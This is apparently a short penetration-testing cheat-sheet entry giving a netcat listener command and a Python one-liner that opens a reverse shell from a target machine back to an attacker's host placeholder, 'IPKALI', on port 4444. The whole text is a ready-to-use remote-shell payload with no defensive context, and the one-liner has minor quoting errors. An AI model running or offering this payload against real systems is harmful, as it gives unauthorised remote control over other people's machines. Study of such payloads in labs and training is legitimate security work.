Launch a listening nc on your host:

nc -lvp 4444

Launch the reverse shell in python on your target:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((IPKALI,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(/bin/bash)'